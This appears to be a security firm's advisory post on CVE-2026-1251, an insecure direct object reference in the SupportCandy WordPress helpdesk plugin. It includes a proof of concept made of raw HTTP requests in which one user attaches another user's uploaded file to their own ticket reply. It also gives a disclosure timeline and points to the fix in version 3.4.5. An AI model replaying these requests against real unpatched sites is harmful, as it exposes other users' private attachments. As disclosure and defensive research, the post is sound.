During independent security research conducted as part of the Wordfence Bug Bounty Program, we identified a broken access control vulnerability in the SupportCandy plugin for WordPress. SupportCandy is a helpdesk and customer support ticketing plugin that enables organisations to manage user-submitted support requests directly within their WordPress environment, including the ability to upload files and exchange attachments through ticket replies. The project has 483,939 downloads and 10,000 active installs at the time of writing.

WordPress remains one of the most widely deployed content management platforms on the web, with much of its functionality provided by a large and diverse ecosystem of third-party plugins.  While this extensibility is central to WordPress’ popularity, it also means that security weaknesses in widely installed plugins can affect a large number of sites at once. SupportCandy is actively used across thousands of WordPress installations, and in this instance the issue did not originate from WordPress core itself, but from the way the plugin handles attachments submitted with ticket replies, where insufficient ownership validation allowed files to be accessed and re-associated across users.

The vulnerability affects SupportCandy versions up to and including 3.4.4 and can be exploited by low-privileged authenticated users, such as subscribers who have permission to submit ticket replies. It was responsibly disclosed via Wordfence, assigned CVE-2026-1251, and subsequently patched by the vendor. This article provides an overview of the vulnerability, explains how it could be exploited in practice, and documents the coordinated disclosure process that led to its remediation.

What is Insecure Direct Object Reference (IDOR)?

An insecure direct object reference, commonly referred to as an IDOR, is a class of broken access control vulnerability that occurs when an application exposes internal object identifiers and relies on the client to reference those objects safely. These identifiers might represent files, database records, tickets, attachments, or other server-side resources. The vulnerability arises when the server fails to verify that the requesting user is authorised to access the referenced object.

Rather than enforcing ownership or permission checks on the server, the application implicitly trusts that the user will only supply identifiers they are entitled to use. In practice, this trust is misplaced. If an attacker can observe or guess a valid identifier, they may be able to access or manipulate data belonging to other users.

IDOR vulnerabilities are particularly common in multi-user platforms such as helpdesk systems, where users of differing trust levels interact with shared functionality. They are often deceptively simple to exploit and can result in unauthorised access to sensitive content even when authentication is enforced.

SupportCandy Ticket Attachment IDOR Explained

CVE-2026-1251 is an insecure direct object reference vulnerability in SupportCandy’s handling of ticket reply attachments. When a user uploads a file through the ticket reply interface, SupportCandy returns a numeric attachment identifier for that upload. During reply submission, the client includes this identifier in the `description_attachments[]` parameter to link the uploaded file to the ticket reply.

In SupportCandy versions 3.4.4 and earlier, the server accepts attachment IDs supplied in `description_attachments[]` without sufficiently validating ownership or authorisation. Specifically, the application does not verify that the referenced attachment belongs to the current user, or that it is permitted to be associated with the target ticket. This allows any authenticated user with permission to submit ticket replies to supply arbitrary attachment IDs, including those belonging to files uploaded by other users.

In practical terms, this allows attachments to be re-associated across users and tickets, enabling a malicious actor to link another user’s uploaded file to their own ticket. This results in unauthorised access to the attachment and can, in some cases, cause the original uploader to lose access entirely. By treating attachment identifiers as trusted input, the application fails to enforce ownership and ticket-level isolation at the point where attachments are processed.

CVE-2026-1251 Proof of Concept

The following excerpts demonstrate the vulnerability in a local WordPress test environment with two authenticated users, each able to create tickets and submit replies through SupportCandy.

First, User A uploads an attachment via SupportCandy’s frontend ticket interface. The upload is handled through WordPress’ AJAX endpoint:

POST /wp-admin/admin-ajax.php HTTP/1.1
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------94309366519589445227971535
Cookie: <User A cookies>
<SNIP>
-----------------------------94309366519589445227971535
Content-Disposition: form-data; name="wpscFileAttachment"; filename="attachmentForSupport.jpg"
Content-Type: image/jpeg
(binary JPEG data)
-----------------------------94309366519589445227971535
Content-Disposition: form-data; name="action"
wpsc_file_upload
<SNIP>

On success, the server responds with a JSON object containing a numeric attachment ID. This ID acts as the server-side reference to the uploaded file:

HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
<SNIP>
{"id":"10"}

Step 2: The identifier is used during ticket submission (User A)

After attaching the file, User A submits the ticket. At this stage, the previously returned attachment ID is included in the request via `description_attachments[]`, which indicates which uploaded file should be associated with the ticket submission. The following request shows the attachment ID `10` being supplied as part of the ticket creation flow:

POST /wp-admin/admin-ajax.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------153204331012469187801902525292
Connection: keep-alive
Cookie: <User A cookies>
<SNIP>
-----------------------------153204331012469187801902525292
Content-Disposition: form-data; name="name"
UserA Name
<SNIP>
-----------------------------153204331012469187801902525292
Content-Disposition: form-data; name="description_attachments[]"
10
<SNIP>

Step 3: Exploiting the attachment reference via ticket reply (User B)

Finally, User B replies to one of their own existing tickets. Rather than uploading a new file, the previously observed attachment ID (10), which belongs to User A, is manually supplied as part of the reply request using the `description_attachments[]` parameter.

The request below shows User B submitting a ticket reply via the vulnerable `wpsc_it_add_reply` action. The attachment identifier is injected into the request body, despite the attachment having been uploaded by a different user:

POST /wp-admin/admin-ajax.php HTTP/1.1
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------21509110001441009876770936857
Cookie: <User B cookies>
<SNIP>
-----------------------------21509110001441009876770936857
Content-Disposition: form-data; name="description_attachments[]"
10
-----------------------------21509110001441009876770936857
Content-Disposition: form-data; name="ticket_id"
34
-----------------------------21509110001441009876770936857
Content-Disposition: form-data; name="description"
<p>See attachment please.</p>
-----------------------------21509110001441009876770936857
Content-Disposition: form-data; name="is_editor"
1
-----------------------------21509110001441009876770936857
Content-Disposition: form-data; name="action"
wpsc_it_add_reply
<SNIP>

The server accepts the reply and associates the attachment with User B’s ticket without validating attachment ownership or authorisation. At this point, User B can access the attachment via their own ticket, despite never uploading it. When User A subsequently attempts to access the same file, the server responds with a `401 Unauthorized error`, indicating that attachment access has effectively been reassigned across users.

Impact Summary of CVE-2026-1251

Although exploitation requires authentication, the affected functionality is designed for environments where multiple end users interact with a shared ticketing platform. In that context, authentication alone does not imply trust. Any user with permission to submit ticket replies can potentially reference attachments uploaded by other users, exposing content that is typically shared during support interactions, such as screenshots, documents or configuration files.

In real-world helpdesk workflows, these attachments frequently contain sensitive information. This may include personally identifiable information (PII), internal system details, email addresses, account identifiers, or excerpts from application logs that were never intended to be visible outside the original ticket. Because the attachment can be re-associated to a different ticket, the issue goes beyond simple disclosure. The original uploader may lose access to their own file, breaking the expected separation between users and disrupting the integrity of the support process itself.

From a risk perspective, the issue is exploitable by low-privileged users with standard ticket reply permissions, including subscriber-level accounts, and does not require user interaction beyond normal ticket activity. Wordfence assigned the vulnerability a CVSS score of 5.4 (Medium) as part of its disclosure.

SupportCandy IDOR Disclosure Timeline

• 9 January 2026 – The issue was reported to Wordfence as part of the Wordfence Bug Bounty Program.
• 20 January 2026 – Wordfence completed triage and confirmed the vulnerability as part of the coordinated disclosure process.
• 23 January 2026 – The vulnerability entry was created in the Wordfence Intelligence database as part of the ongoing disclosure process.
• 28 January 2026 – SupportCandy released version 3.4.5, which addressed the issue, as documented in the plugin’s public changelog.
• 30 January 2026 – Wordfence confirmed that the vulnerability could be shared publicly.
• 31 January 2026 – CVE-2026-1251 appeared in broader public advisory channels following publication to the CVE List.

Conclusion

CVE-2026-1251 demonstrates how a relatively small access control oversight can have meaningful consequences in multi-user support systems. Attachments are often the most sensitive part of a ticketing workflow, and users reasonably assume that uploaded files remain confined to the ticket and user context in which they were submitted. In this case, an insecure direct object reference condition allowed attachments to be reassigned purely through identifier manipulation, breaking that assumption and exposing content beyond its intended scope.

If you are running SupportCandy, updating to version 3.4.5 or later is the practical fix. More broadly, this issue reinforces a familiar pattern seen across many platforms. When user-controlled object references are trusted without explicit ownership checks, even low-privileged functionality can be abused to undermine data separation and user trust. Ensuring that authorisation is enforced consistently at the point where these references are processed remains critical to preventing similar issues.

Get in touch with our team to discuss how Sentrium can help identify vulnerabilities and reduce your application’s exposure to vulnerabilities with our web application penetration testing.